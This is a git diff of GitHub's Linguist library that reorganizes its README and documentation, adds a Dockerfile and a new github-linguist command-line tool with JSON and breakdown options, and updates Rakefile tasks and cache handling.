+- **@Alhadis**
+- **@lildude** (GitHub staff)
+
 As Linguist is a production dependency for GitHub we have a couple of workflow restrictions:
 
-- Anyone with commit rights can merge Pull Requests provided that there is a :+1: from a GitHub member of staff
+- Anyone with commit rights can merge Pull Requests provided that there is a :+1: from a GitHub staff member.
 - Releases are performed by GitHub staff so we can ensure GitHub.com always stays up to date with the latest release of Linguist and there are no regressions in production.
 
-### Releasing
-
-If you are the current maintainer of this gem:
-
-0. Create a branch for the release: `git checkout -b cut-release-vxx.xx.xx`
-0. Make sure your local dependencies are up to date: `script/bootstrap`
-0. If grammar submodules have not been updated recently, update them: `git submodule update --remote && git commit -a`
-0. Ensure that samples are updated: `bundle exec rake samples`
-0. Ensure that tests are green: `bundle exec rake test`
-0. Bump gem version in `lib/linguist/version.rb`, [like this](https://github.com/github/linguist/commit/8d2ea90a5ba3b2fe6e1508b7155aa4632eea2985).
-0. Make a PR to github/linguist, [like this](https://github.com/github/linguist/pull/1238).
-0. Build a local gem: `bundle exec rake build_gem`
-0. Test the gem:
-  0. Bump the Gemfile and Gemfile.lock versions for an app which relies on this gem
-  0. Install the new gem locally
-  0. Test behavior locally, branch deploy, whatever needs to happen
-0. Merge github/linguist PR
-0. Tag and push: `git tag vx.xx.xx; git push --tags`
-0. Push to rubygems.org -- `gem push github-linguist-3.0.0.gem`
-
-[grammars]: /grammars.yml
+[grammars]: /vendor/README.md
+[heuristic]: https://github.com/github/linguist/blob/master/lib/linguist/heuristics.yml
 [languages]: /lib/linguist/languages.yml
+[licenses]: https://github.com/github/linguist/blob/9b1023ed5d308cb3363a882531dea1e272b59977/vendor/licenses/config.yml#L4-L15
 [samples]: /samples
-[new-issue]: https://github.com/github/linguist/issues/new
+[search-example]: https://github.com/search?utf8=%E2%9C%93&q=extension%3Aboot+NOT+nothack&type=Code&ref=searchresults
+[#5756]: https://github.com/github/linguist/issues/5756
+[merged-pr]: /docs/troubleshooting.md#my-linguist-pr-has-been-merged-but-gitHub-doesnt-reflect-my-changes
diff --git a/Dockerfile b/Dockerfile
new file mode 100644
index 0000000000..22a51b61dc
--- /dev/null
+++ b/Dockerfile
@@ -0,0 +1,12 @@
+FROM ruby:2-alpine3.13
+
+RUN apk --update add --virtual build_deps \
+    build-base \
+    libc-dev \
+    cmake \
+    && apk add icu-dev openssl-dev \
+    && gem install github-linguist \
+    && apk del build_deps \
+	&& rm /var/cache/apk/*
+
+CMD ["github-linguist"]
diff --git a/Gemfile b/Gemfile
index 9dc1b4dc37..06ed0c3eb0 100644
--- a/Gemfile
+++ b/Gemfile
@@ -1,3 +1,6 @@
 source 'https://rubygems.org'
 gemspec :name => "github-linguist"
-gem 'byebug' if RUBY_VERSION >= '2.0'
+
+group :debug do
+  gem 'byebug' if RUBY_VERSION >= '2.2'
+end
diff --git a/LICENSE b/LICENSE
index ca0844d16c..acc8e6f251 100644
--- a/LICENSE
+++ b/LICENSE
@@ -1,4 +1,4 @@
-Copyright (c) 2011-2016 GitHub, Inc.
+Copyright (c) 2017 GitHub, Inc.
 
 Permission is hereby granted, free of charge, to any person
 obtaining a copy of this software and associated documentation
diff --git a/README.md b/README.md
index 9addbe68df..80cf21d32d 100644
--- a/README.md
+++ b/README.md
@@ -1,120 +1,214 @@
 # Linguist
 
-[issues]: https://github.com/github/linguist/issues
-[new-issue]: https://github.com/github/linguist/issues/new
+[![Actions Status](https://github.com/github/linguist/workflows/Run%20Tests/badge.svg)](https://github.com/github/linguist/actions) 
+
+[![Open in GitHub Codespaces](https://github.com/codespaces/badge.svg)](https://codespaces.new/github-linguist/linguist)
 
 This library is used on GitHub.com to detect blob languages, ignore binary or vendored files, suppress generated files in diffs, and generate language breakdown graphs.
 
-See [Troubleshooting](#troubleshooting) and [`CONTRIBUTING.md`](/CONTRIBUTING.md) before filing an issue or creating a pull request.
+## Documentation
 
-## Troubleshooting
+- [How Linguist works](/docs/how-linguist-works.md)
+- [Change Linguist's behaviour with overrides](/docs/overrides.md)
+- [Troubleshooting](/docs/troubleshooting.md)
+- [Contributing guidelines](CONTRIBUTING.md)
 
-### My repository is detected as the wrong language
+## Installation
 
-![language stats bar](https://cloud.githubusercontent.com/assets/173/5562290/48e24654-8ddf-11e4-8fe7-735b0ce3a0d3.png)
+Install the gem:
 
-The Language stats bar displays languages percentages for the files in the repository. The percentages are calculated based on the bytes of code for each language as reported by the [List Languages](https://developer.github.com/v3/repos/#list-languages) API. If the bar is reporting a language that you don't expect:
+```bash
+gem install github-linguist
+```
 
-0. Click on the name of the language in the stats bar to see a list of the files that are identified as that language.
-0. If you see files that you didn't write, consider moving the files into one of the [paths for vendored  code](/lib/linguist/vendor.yml), or use the [manual overrides](#overrides) feature to ignore them.
-0. If the files are being misclassified, search for [open issues][issues] to see if anyone else has already reported the issue. Any information you can add, especially links to public repositories, is helpful.
-0. If there are no reported issues of this misclassification, [open an issue][new-issue] and include a link to the repository or a sample of the code that is being misclassified.
+### Dependencies
 
-## Overrides
+Linguist is a Ruby library so you will need a recent version of Ruby installed.
+There are known problems with the macOS/Xcode supplied version of Ruby that causes problems installing some of the dependencies.
+Accordingly, we highly recommend you install a version of Ruby using Homebrew, `rbenv`, `rvm`, `ruby-build`, `asdf` or other packaging system, before attempting to install Linguist and the dependencies.
 
-Linguist supports a number of different custom overrides strategies for language definitions and vendored paths.
+Linguist uses [`charlock_holmes`](https://github.com/brianmario/charlock_holmes) for character encoding and [`rugged`](https://github.com/libgit2/rugged) for libgit2 bindings for Ruby.
+These components have their own dependencies.
 
-### Using gitattributes
+1. charlock_holmes
+    * cmake
+    * pkg-config
+    * [ICU](http://site.icu-project.org/)
+    * [zlib](https://zlib.net/)
+2. rugged
+    * [libcurl](https://curl.haxx.se/libcurl/)
+    * [OpenSSL](https://www.openssl.org)
 
-Add a `.gitattributes` file to your project and use standard git-style path matchers for the files you want to override to set `linguist-documentation`, `linguist-language`, and `linguist-vendored`. `.gitattributes` will be used to determine language statistics, but will not be used to syntax highlight files. To manually set syntax highlighting, use [Vim or Emacs modelines](#using-emacs-or-vim-modelines).
+You may need to install missing dependencies before you can install Linguist.
+For example, on macOS with [Homebrew](http://brew.sh/):
 
+```bash
+brew install cmake pkg-config icu4c
 ```
-$ cat .gitattributes
-*.rb linguist-language=Java
+
+On Ubuntu:
+
+```bash
+sudo apt-get install build-essential cmake pkg-config libicu-dev zlib1g-dev libcurl4-openssl-dev libssl-dev ruby-dev
 ```
 
-Checking code you didn't write, such as JavaScript libraries, into your git repo is a common practice, but this often inflates your project's language stats and may even cause your project to be labeled as another language. By default, Linguist treats all of the paths defined in [lib/linguist/vendor.yml](https://github.com/github/linguist/blob/master/lib/linguist/vendor.yml) as vendored and therefore doesn't include them in the language statistics for a repository.
+## Usage
+
+### Application usage
 
-Use the `linguist-vendored` attribute to vendor or un-vendor paths.
+Linguist can be used in your application as follows:
 
+```ruby
+require 'rugged'
+require 'linguist'
+
+repo = Rugged::Repository.new('.')
+project = Linguist::Repository.new(repo, repo.head.target_id)
+project.language       #=> "Ruby"
+project.languages      #=> { "Ruby" => 119387 }
 ```
-$ cat .gitattributes
-special-vendored-path/* linguist-vendored
-jquery.js linguist-vendored=false
-```
 
-Just like vendored files, Linguist excludes documentation files from your project's language stats. [lib/linguist/documentation.yml](lib/linguist/documentation.yml) lists common documentation paths and excludes them from the language statistics for your repository.
+### Command line usage
+
+#### Git Repository
 
-Use the `linguist-documentation` attribute to mark or unmark paths as documentation.
+A repository's languages stats can also be assessed from the command line using the `github-linguist` executable.
+Without any options, `github-linguist` will output the language breakdown by percentage and file size.
 
+```bash
+cd /path-to-repository
+github-linguist
 ```
-$ cat .gitattributes
-project-docs/* linguist-documentation
-docs/formatter.rb linguist-documentation=false
+
+You can try running `github-linguist` on the root directory in this repository itself:
+
+```console
+$ github-linguist
+66.84%  264519     Ruby
+24.68%  97685      C
+6.57%   25999      Go
+1.29%   5098       Lex
+0.32%   1257       Shell
+0.31%   1212       Dockerfile
 ```
 
-#### Generated file detection
+#### Additional options
 
-Not all plain text files are true source files. Generated files like minified js and compiled CoffeeScript can be detected and excluded from language stats. As an added bonus, unlike vendored and documentation files, these files are suppressed in diffs.
+##### `--rev REV`
 
-```ruby
-Linguist::FileBlob.new("underscore.min.js").generated? # => true
-```
+The `--rev REV` flag will change the git revision being analyzed to any [gitrevisions(1)](https://git-scm.com/docs/gitrevisions#_specifying_revisions) compatible revision you specify.
 
-See [Linguist::Generated#generated?](https://github.com/github/linguist/blob/master/lib/linguist/generated.rb).
+This is useful to analyze the makeup of a repo as of a certain tag, or in a certain branch.
 
-### Using Emacs or Vim modelines
+For example, here is the popular [Jekyll open source project](https://github.com/jekyll/jekyll).
 
-Alternatively, you can use Vim or Emacs style modelines to set the language for a single file. Modelines can be placed anywhere within a file and are respected when determining how to syntax-highlight a file on GitHub.com
+```console
+$ github-linguist jekyll
 
-##### Vim
-```
-# Some examples of various styles:
-vim: syntax=java
-vim: set syntax=ruby:
-vim: set filetype=prolog:
-vim: set ft=cpp:
+70.64%  709959     Ruby
+23.04%  231555     Gherkin
+3.80%   38178      JavaScript
+1.19%   11943      HTML
+0.79%   7900       Shell
+0.23%   2279       Dockerfile
+0.13%   1344       Earthly
+0.10%   1019       CSS
+0.06%   606        SCSS
+0.02%   234        CoffeeScript
+0.01%   90         Hack
 ```
 
-##### Emacs
-```
--*- mode: php;-*-
+And here is Jekyll's published website, from the gh-pages branch inside their repository.
+
+```console
+$ github-linguist jekyll --rev origin/gh-pages
+100.00% 2568354    HTML
 ```
 
-## Usage
+##### `--breakdown`
 
-Install the gem:
+The `--breakdown` or `-b` flag will additionally show the breakdown of files by language.
+
+You can try running `github-linguist` on the root directory in this repository itself:
 
+```console
+$ github-linguist --breakdown
+66.84%  264519     Ruby
+24.68%  97685      C
+6.57%   25999      Go
+1.29%   5098       Lex
+0.32%   1257       Shell
+0.31%   1212       Dockerfile
+
+Ruby:
+Gemfile
+Rakefile
+bin/git-linguist
+bin/github-linguist
+ext/linguist/extconf.rb
+github-linguist.gemspec
+lib/linguist.rb
+…
 ```
-$ gem install github-linguist
+
+##### `--json`
+
+The `--json` or `-j` flag output the data into JSON format.
+
+```console
+$ github-linguist --json
+{"Dockerfile":{"size":1212,"percentage":"0.31"},"Ruby":{"size":264519,"percentage":"66.84"},"C":{"size":97685,"percentage":"24.68"},"Lex":{"size":5098,"percentage":"1.29"},"Shell":{"size":1257,"percentage":"0.32"},"Go":{"size":25999,"percentage":"6.57"}}
 ```
 
-Then use it in your application:
+This option can be used in conjunction with `--breakdown` to get a full list of files along with the size and percentage data.
 
-```ruby
-require 'rugged'
-require 'linguist'
+```console
+$ github-linguist --breakdown --json
+{"Dockerfile":{"size":1212,"percentage":"0.31","files":["Dockerfile","tools/grammars/Dockerfile"]},"Ruby":{"size":264519,"percentage":"66.84","files":["Gemfile","Rakefile","bin/git-linguist","bin/github-linguist","ext/linguist/extconf.rb","github-linguist.gemspec","lib/linguist.rb",...]}}
 
-repo = Rugged::Repository.new('.')
-project = Linguist::Repository.new(repo, repo.head.target_id)
-project.language       #=> "Ruby"
-project.languages      #=> { "Ruby" => 119387 }
 ```
 
-These stats are also printed out by the `linguist` executable. You can use the
-`--breakdown` flag, and the binary will also output the breakdown of files by language.
+#### Single file
+
+Alternatively you can find stats for a single file using the `github-linguist` executable.
 
-You can try running `linguist` on the root directory in this repository itself:
+You can try running `github-linguist` on files in this repository itself:
 
+```console
+$ github-linguist grammars.yml
+grammars.yml: 884 lines (884 sloc)
+  type:      Text
+  mime type: text/x-yaml
+  language:  YAML
 ```
-$ bundle exec linguist --breakdown
 
-100.00% Ruby
+#### Docker
+
+If you have Docker installed you can build an image and run Linguist within a container:
+
+```console
+$ docker build -t linguist .
+$ docker run --rm -v $(pwd):$(pwd) -w $(pwd) -t linguist
+66.84%  264519     Ruby
+24.68%  97685      C
+6.57%   25999      Go
+1.29%   5098       Lex
+0.32%   1257       Shell
+0.31%   1212       Dockerfile
+$ docker run --rm -v $(pwd):$(pwd) -w $(pwd) -t linguist github-linguist --breakdown
+66.84%  264519     Ruby
+24.68%  97685      C
+6.57%   25999      Go
+1.29%   5098       Lex
+0.32%   1257       Shell
+0.31%   1212       Dockerfile
 
 Ruby:
 Gemfile
 Rakefile
-bin/linguist
+bin/git-linguist
+bin/github-linguist
+ext/linguist/extconf.rb
 github-linguist.gemspec
 lib/linguist.rb
 …
@@ -126,7 +220,7 @@ Please check out our [contributing guidelines](CONTRIBUTING.md).
 
 ## License
 
-The language grammars included in this gem are covered by their repositories'
-respective licenses. `grammars.yml` specifies the repository for each grammar.
+The language grammars included in this gem are covered by their repositories' respective licenses.
+[`vendor/README.md`](/vendor/README.md) lists the repository for each grammar.
 
-All other files are covered by the MIT license, see `LICENSE`.
+All other files are covered by the MIT license, see [`LICENSE`](./LICENSE).
diff --git a/Rakefile b/Rakefile
index c385811575..4e37e97c48 100644
--- a/Rakefile
+++ b/Rakefile
@@ -1,16 +1,25 @@
 require 'bundler/setup'
 require 'rake/clean'
 require 'rake/testtask'
+require 'rake/extensiontask'
 require 'yaml'
 require 'yajl'
 require 'open-uri'
+require 'json'
+require 'open3'
 
 task :default => :test
 
 Rake::TestTask.new
 
+gem_spec = Gem::Specification.load('github-linguist.gemspec')
+
+Rake::ExtensionTask.new('linguist', gem_spec) do |ext|
+  ext.lib_dir = File.join('lib', 'linguist')
+end
+
 # Extend test task to check for samples and fetch latest Ace modes
-task :test => [:check_samples, :fetch_ace_modes]
+task :test => [:compile, :check_samples, :fetch_ace_modes]
 
 desc "Check that we have samples.json generated"
 task :check_samples do
@@ -26,22 +35,64 @@ task :fetch_ace_modes do
   File.delete(ACE_FIXTURE_PATH) if File.exist?(ACE_FIXTURE_PATH)
 
   begin
-    ace_github_modes = open("https://api.github.com/repos/ajaxorg/ace/contents/lib/ace/mode").read
-    File.write(ACE_FIXTURE_PATH, ace_github_modes)
+    ace_github_modes_lib = URI.open("https://api.github.com/repos/ajaxorg/ace/contents/lib/ace/mode").read
+    ace_github_modes_src = URI.open("https://api.github.com/repos/ajaxorg/ace/contents/src/mode").read
+    File.write(ACE_FIXTURE_PATH, "[#{ace_github_modes_lib},#{ace_github_modes_src}]")
   rescue OpenURI::HTTPError, SocketError
       # no internet? no problem.
   end
 end
 
-task :samples do
+task :samples => :compile do
   require 'linguist/samples'
-  json = Yajl.dump(Linguist::Samples.data, :pretty => true)
+  json = Yajl.dump(Linguist::Samples.data, :pretty => false)
   File.write 'lib/linguist/samples.json', json
 end
 
+task :flex do
+  if `flex -V` !~ /^flex \d+\.\d+\.\d+/
+    fail "flex not detected"
+  end
+  system "cd ext/linguist && flex tokenizer.l"
+end
+
+# The error count will need to be adjusted here until such time as all grammars are 100% error free.
+desc "Check that compiling the grammars doesn't introduce any new unexpected errors"
+task :check_grammars do
+  expected_error_count = 48  # This count should only ever go down. If it goes up, there's a new issue that needs to be addressed before updating the grammar.
+  rm_rf "linguist-grammars"
+  output, status = Open3.capture2e("script/grammar-compiler", "compile", "-o", "linguist-grammars")
+  errors_found = output[/The grammar library contains ([0-9]+) errors/, 1].to_i
+  missing_grammars = output.scan(/Missing scope in repository: `([^`].+)` is listed in grammars.yml but cannot be found/)
+
+  unless missing_grammars.empty?
+    fail <<~MISSING
+      #{output}
+
+      ERROR: Could not find the following grammars:
+
+      #{missing_grammars.join("\n")}
+
+      Please review the output above.
+
+      MISSING
+  end
+
+  unless errors_found == expected_error_count
+    fail <<~ERRORS
+      #{output}
+
+      ERROR: An unexpected number of errors have been found. Expected: #{expected_error_count}, Found: #{errors_found}.
+
+      Please review the output and adjust the rake task expected error count if needed.
+
+      ERRORS
+  end
+end
+
 task :build_gem => :samples do
   rm_rf "grammars"
-  sh "script/convert-grammars"
+  sh "script/grammar-compiler compile -o grammars || true"
   languages = YAML.load_file("lib/linguist/languages.yml")
   File.write("lib/linguist/languages.json", Yajl.dump(languages))
   `gem build github-linguist.gemspec`
diff --git a/bin/git-linguist b/bin/git-linguist
index 9e525bb5b0..0ab19a629b 100755
--- a/bin/git-linguist
+++ b/bin/git-linguist
@@ -1,29 +1,32 @@
 #!/usr/bin/env ruby
 
+$LOAD_PATH[0, 0] = File.join(File.dirname(__FILE__), '..', 'lib')
+
 require 'linguist'
 require 'rugged'
 require 'optparse'
 require 'json'
-require 'tmpdir'
+require 'tempfile'
 require 'zlib'
 
 class GitLinguist
-  def initialize(path, commit_oid, incremental = true)
+  def initialize(path, commit_oid, incremental = true, tree_size = Linguist::Repository.MAX_TREE_SIZE)
     @repo_path = path
     @commit_oid = commit_oid
     @incremental = incremental
+    @tree_size = tree_size
   end
 
   def linguist
     if @commit_oid.nil?
       raise "git-linguist must be called with a specific commit OID to perform language computation"
     end
-    repo = Linguist::Repository.new(rugged, @commit_oid)
+    repo = Linguist::Repository.new(rugged, @commit_oid, @tree_size)
 
     if @incremental && stats = load_language_stats
       old_commit_oid, old_stats = stats
 
-      # A cache with NULL oid means that we want to froze
+      # A cache with NULL oid means that we want to freeze
       # these language stats in place and stop computing
       # them (for performance reasons)
       return old_stats if old_commit_oid == NULL_OID
@@ -74,18 +77,14 @@ class GitLinguist
   def write_cache(object)
     return unless File.directory? @repo_path
 
-    begin
-      tmp_path = Dir::Tmpname.make_tmpname(cache_file, nil)
-      File.open(tmp_path, "wb") do |f|
-        marshal = Marshal.dump(object)
-        f.write(Zlib::Deflate.deflate(marshal))
-      end
-
-      File.rename(tmp_path, cache_file)
-    rescue => e
-      (File.unlink(tmp_path) rescue nil)
-      raise e
+    Tempfile.open('cache_file', @repo_path) do |f|
+      marshal = Marshal.dump(object)
+      f.write(Zlib::Deflate.deflate(marshal))
+      f.close
+      File.rename(f.path, cache_file)
     end
+
+    FileUtils.chmod 0644, cache_file
   end
 
   def load_cache
@@ -100,19 +99,27 @@ end
 def git_linguist(args)
   incremental = true
   commit = nil
+  tree_size = Linguist::Repository::MAX_TREE_SIZE
 
   parser = OptionParser.new do |opts|
-    opts.banner = "Usage: git-linguist [OPTIONS] stats|breakdown|dump-cache|clear|disable"
+    opts.banner = <<~HELP
+      Linguist v#{Linguist::VERSION}
+      Detect language type and determine language breakdown for a given Git repository.
+
+      Usage:
+      git-linguist [OPTIONS] stats|breakdown|dump-cache|clear|disable
+    HELP
 
     opts.on("-f", "--force", "Force a full rescan") { incremental = false }
-    opts.on("--commit=COMMIT", "Commit to index") { |v| commit = v}
+    opts.on("-c", "--commit=COMMIT", "Commit to index") { |v| commit = v}
+    opts.on("-t", "--tree-size=NUMBER", Integer,
+            "Maximum number of files scanned to detect languages (default: #{Linguist::Repository::MAX_TREE_SIZE})" ) { |t| tree_size = t }
   end
 
   parser.parse!(args)
-
   git_dir = `git rev-parse --git-dir`.strip
-  raise "git-linguist must be ran in a Git repository (#{Dir.pwd})" unless $?.success?
-  wrapper = GitLinguist.new(git_dir, commit, incremental)
+  raise "git-linguist must be run in a Git repository" unless $?.success?
+  wrapper = GitLinguist.new(git_dir, commit, incremental, tree_size)
 
   case args.pop
   when "stats"
@@ -133,6 +140,12 @@ def git_linguist(args)
     $stderr.print(parser.help)
     exit 1
   end
+rescue SystemExit
+  exit 1
+rescue Exception => e
+  $stderr.puts e.message
+  $stderr.puts e.backtrace
+  exit 1
 end
 
 git_linguist(ARGV)
diff --git a/bin/github-linguist b/bin/github-linguist
new file mode 100755
index 0000000000..70fe3a4dd4
--- /dev/null
+++ b/bin/github-linguist
@@ -0,0 +1,155 @@
+#!/usr/bin/env ruby
+
+$LOAD_PATH[0, 0] = File.join(File.dirname(__FILE__), '..', 'lib')
+
+require 'linguist'
+require 'rugged'
+require 'json'
+require 'optparse'
+require 'pathname'
+
+HELP_TEXT = <<~HELP
+Linguist v#{Linguist::VERSION}
+Detect language type and determine language breakdown for a given Git repository.
+
+Usage: linguist <path>
+       linguist <path> [--rev REV] [--tree-size] [--breakdown] [--json]
+       linguist [--rev REV] [--tree-size] [--breakdown] [--json]
+HELP
+
+def github_linguist(args)
+  breakdown = false
+  json_output = false
+  tree_size = Linguist::Repository::MAX_TREE_SIZE
+  rev = 'HEAD'
+  path = Dir.pwd
+
+  parser = OptionParser.new do |opts|
+    opts.banner = HELP_TEXT
+    opts.version = Linguist::VERSION
+
+    opts.on("-b", "--breakdown", "Analyze entire repository and display detailed usage statistics") { breakdown = true }
+    opts.on("-j", "--json", "Output results as JSON") { json_output = true }
+    opts.on("-r", "--rev REV", String,
+            "Analyze specific git revision",
+            "defaults to HEAD, see gitrevisions(1) for alternatives") { |r| rev = r }
+    opts.on("-t", "--tree-size=NUMBER", Integer,
+            "Maximum number of files scanned to detect languages (default: #{Linguist::Repository::MAX_TREE_SIZE})") { |t| tree_size = t }
+    opts.on("-h", "--help", "Display a short usage summary, then exit") do
+      puts opts
+      exit
+    end
+  end
+
+  parser.parse!(args)
+
+  if !args.empty?
+    if File.directory?(args[0]) || File.file?(args[0])
+      path = args[0]
+    else
+      abort HELP_TEXT
+    end
+  end
+
+  if File.directory?(path)
+    rugged = Rugged::Repository.new(path)
+    begin
+      target_oid = rugged.rev_parse_oid(rev)
+    rescue
+      puts "invalid revision '#{rev}' for repo '#{path}'"
+      exit 1
+    end
+    repo = Linguist::Repository.new(rugged, target_oid, tree_size)
+
+    full_results = {}
+    repo.languages.each do |language, size|
+      percentage = ((size / repo.size.to_f) * 100)
+      percentage = sprintf '%.2f' % percentage
+      full_results.merge!({"#{language}": { size: size, percentage: percentage } })
+    end
+
+    if !json_output
+      full_results.sort_by { |_, v| v[:size] }.reverse.each do |language, details|
+        puts "%-7s %-10s %s" % ["#{details[:percentage]}%", details[:size], language]
+      end
+      if breakdown
+        puts
+        file_breakdown = repo.breakdown_by_file
+        file_breakdown.each do |lang, files|
+          puts "#{lang}:"
+          files.each do |file|
+            puts file
+          end
+          puts
+        end
+      end
+    else
+      if !breakdown
+        puts JSON.dump(full_results)
+      else
+        combined_results = full_results.merge({})
+
+        repo.breakdown_by_file.each do |language, files|
+          combined_results[language.to_sym].update({"files": files})
+        end
+        puts JSON.dump(combined_results)
+      end
+    end
+  elsif File.file?(path)
+
+    begin
+      # Check if this file is inside a git repository so we have things like
+      # `.gitattributes` applied.
+      file_full_path = File.realpath(path)
+      rugged = Rugged::Repository.discover(file_full_path)
+      file_rel_path = file_full_path.sub(rugged.workdir, '')
+      oid = -> { rugged.head.target.tree.walk_blobs { |r, b| return b[:oid] if r + b[:name] == file_rel_path } }
+      blob = Linguist::LazyBlob.new(rugged, oid.call, file_rel_path)
+    rescue Rugged::RepositoryError
+      blob = Linguist::FileBlob.new(path, Dir.pwd)
+    end
+
+    type = if blob.text?
+      'Text'
+    elsif blob.image?
+      'Image'
+    else
+      'Binary'
+    end
+
+    if json_output
+      puts JSON.generate( { path =>  {
+                                        :lines => blob.loc,
+                                        :sloc => blob.sloc,
+                                        :type => type,
+                                        :mime_type => blob.mime_type,
+                                        :language => blob.language,
+                                        :large => blob.large?,
+                                        :generated => blob.generated?,
+                                        :vendored => blob.vendored?,
+                                      }
+                          } )
+    else
+      puts "#{path}: #{blob.loc} lines (#{blob.sloc} sloc)"
+      puts "  type:      #{type}"
+      puts "  mime type: #{blob.mime_type}"
+      puts "  language:  #{blob.language}"
+
+      if blob.large?
+        puts "  blob is too large to be shown"
+      end
+
+      if blob.generated?
+        puts "  appears to be generated source code"
+      end
+
+      if blob.vendored?
+        puts "  appears to be a vendored file"
+      end
+    end
+  else
+    abort HELP_TEXT
+  end
+end
+
+github_linguist(ARGV)
diff --git a/bin/linguist b/bin/linguist
deleted file mode 100755
index d1d9c306ec..0000000000
--- a/bin/linguist
+++ /dev/null
@@ -1,67 +0,0 @@
-#!/usr/bin/env ruby
-
-# linguist — detect language type for a file, or, given a directory, determine language breakdown
-#     usage: linguist <path> [<--breakdown>]
-#
-require 'linguist'
-require 'rugged'
-
-path = ARGV[0] || Dir.pwd
-
-# special case if not given a directory but still given the --breakdown option
-if path == "--breakdown"
-  path = Dir.pwd
-  breakdown = true
-end
-
-ARGV.shift
-breakdown = true if ARGV[0] == "--breakdown"
-
-if File.directory?(path)
-  rugged = Rugged::Repository.new(path)
-  repo = Linguist::Repository.new(rugged, rugged.head.target_id)
-  repo.languages.sort_by { |_, size| size }.reverse.each do |language, size|
-    percentage = ((size / repo.size.to_f) * 100)
-    percentage = sprintf '%.2f' % percentage
-    puts "%-7s %s" % ["#{percentage}%", language]
-  end
-  if breakdown
-    puts
-    file_breakdown = repo.breakdown_by_file
-    file_breakdown.each do |lang, files|
-      puts "#{lang}:"
-      files.each do |file|
-        puts file
-      end
-      puts
-    end
-  end
-elsif File.file?(path)
-  blob = Linguist::FileBlob.new(path, Dir.pwd)
-  type = if blob.text?
-    'Text'
-  elsif blob.image?
-    'Image'
-  else
-    'Binary'
-  end
-
-  puts "#{blob.name}: #{blob.loc} lines (#{blob.sloc} sloc)"
-  puts "  type:      #{type}"
-  puts "  mime type: #{blob.mime_type}"
-  puts "  language:  #{blob.language}"
-
-  if blob.large?
-    puts "  blob is too large to be shown"
-  end
-
-  if blob.generated?
-    puts "  appears to be generated source code"
-  end
-
-  if blob.vendored?
-    puts "  appears to be a vendored file"
-  end
-else
-  abort "usage: linguist <path>"
-end
diff --git a/docs/README.md b/docs/README.md
new file mode 100644
index 0000000000..771c368d4d
--- /dev/null
+++ b/docs/README.md
@@ -0,0 +1,7 @@
+# Linguist Documentation
+
+- [How Linguist works](how-linguist-works.md)
+- [Change Linguist's behaviour with overrides](overrides.md)
+- [Troubleshooting](troubleshooting.md)
+- [Contributing guidelines](/CONTRIBUTING.md)
+- [Releasing Linguist](releasing.md) (Only applicable to GitHub staff)
diff --git a/docs/how-linguist-works.md b/docs/how-linguist-works.md
new file mode 100644
index 0000000000..453c1dd89d
--- /dev/null
+++ b/docs/how-linguist-works.md
@@ -0,0 +1,29 @@
+# How Linguist works
+
+Linguist takes the list of languages it knows from [`languages.yml`](/lib/linguist/languages.yml) and uses a number of methods to try and determine the language used by each file, and the overall repository breakdown.
+
+Linguist starts by going through all the files in a repository and excludes all files that it determines to be binary data, [vendored code](/docs/overrides.md#vendored-code), [generated code](/docs/overrides.md#generated-code), [documentation](/docs/overrides.md#documentation), or are defined as `data` (e.g. SQL) or `prose` (e.g. Markdown) languages, whilst taking into account any [overrides](/docs/overrides.md).
+
+If an [explicit language override](/docs/overrides.md#using-gitattributes) has been used, that language is used for the matching files.
+The language of each remaining file is then determined using the following strategies, in order, with each step either identifying the precise language or reducing the number of likely languages passed down to the next strategy:
+
+- Vim or Emacs modeline,
+- commonly used filename,
+- shell shebang,
+- file extension,
+- XML header,
+- man page section,
+- heuristics,
+- naïve Bayesian classification
+
+The result of this analysis is used to produce the language stats bar which displays the languages percentages for the files in the repository.
+The percentages are calculated based on the bytes of code for each language as reported by the [List Languages](https://docs.github.com/rest/reference/repos#list-repository-languages) API.
+
+![language stats bar](https://user-images.githubusercontent.com/2346707/91533656-9768b300-e953-11ea-808d-994cd50e6273.png)
+
+## How Linguist works on GitHub.com
+
+When you push changes to a repository on GitHub.com,
+a low priority background job is enqueued to analyze the [default branch](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/about-branches#about-the-default-branch) of your repository as explained above.
+The results of this analysis are cached for the lifetime of your repository and are only updated when the repository is updated.
+As this analysis is performed by a low priority background job, it can take a while, particularly during busy periods, for your language statistics bar to reflect your changes.
diff --git a/docs/overrides.md b/docs/overrides.md
new file mode 100644
index 0000000000..9d56af54d3
--- /dev/null
+++ b/docs/overrides.md
@@ -0,0 +1,124 @@
+# Overrides
+
+Linguist supports a number of different custom override strategies for language definitions and file paths.
+
+## Using gitattributes
+
+Add [a `.gitattributes` file](https://git-scm.com/docs/gitattributes) to your project and use standard git-style path matchers for the files you want to override using the `linguist-documentation`, `linguist-language`, `linguist-vendored`, `linguist-generated`  and `linguist-detectable` attributes.
+`.gitattributes` will be used to determine language statistics and will be used to syntax highlight files.
+You can also manually set syntax highlighting using [Vim or Emacs modelines](#using-emacs-or-vim-modelines).
+
+When testing with a local installation of Linguist, **take note that the added attributes will _not_ take effect until the `.gitattributes` file is committed to your repository.**
+
+File and folder paths inside `.gitattributes` are calculated relative to the position of the `.gitattributes` file.
+
+```gitattributes
+# Example of a `.gitattributes` file which reclassifies `.rb` files as Java:
+*.rb linguist-language=Java
+
+# Replace any whitespace in the language name with hyphens:
+*.glyphs linguist-language=OpenStep-Property-List
+
+# Language names are case-insensitive and may be specified using an alias.
+# So, the following three lines are all functionally equivalent:
+*.es linguist-language=js
+*.es linguist-language=JS
+*.es linguist-language=JAVASCRIPT
+```
+
+### Summary
+
+<!------------------------------------------------------------------------------------------------------------------------------------------->
+ | Git attribute                                  | Defined in            | Effect on file                                                  |
+ |:-----------------------------------------------|:----------------------|:----------------------------------------------------------------|
+ | `linguist-detectable`                          | [`languages.yml`]     | Included in stats, even if language's type is `data` or `prose` |
+ | `linguist-documentation`                       | [`documentation.yml`] | Excluded from stats                                             |
+ | `linguist-generated`                           | [`generated.rb`]      | Excluded from stats, hidden in diffs                            |
+ | `linguist-language`=<var><ins>name</ins></var> | [`languages.yml`]     | Highlighted and classified as <var><ins>name</ins></var>        |
+ | `linguist-vendored`                            | [`vendor.yml`]        | Excluded from stats                                             |
+<!------------------------------------------------------------------------------------------------------------------------------------------->
+
+### Detectable
+
+By default only languages of type `programming` or `markup` in [`languages.yml`] are included in the language statistics.
+Languages of a different type in [`languages.yml`] are not "detectable" by default, causing them not to be included in the language statistics,
+but can be made detectable as shown below.  Languages that are not yet mentioned in [`languages.yml`] will not be included in the language
+statistics, even if you specify something like `*.mycola linguist-language=MyCoolLang linguist-detectable` in the `.gitattributes` file.
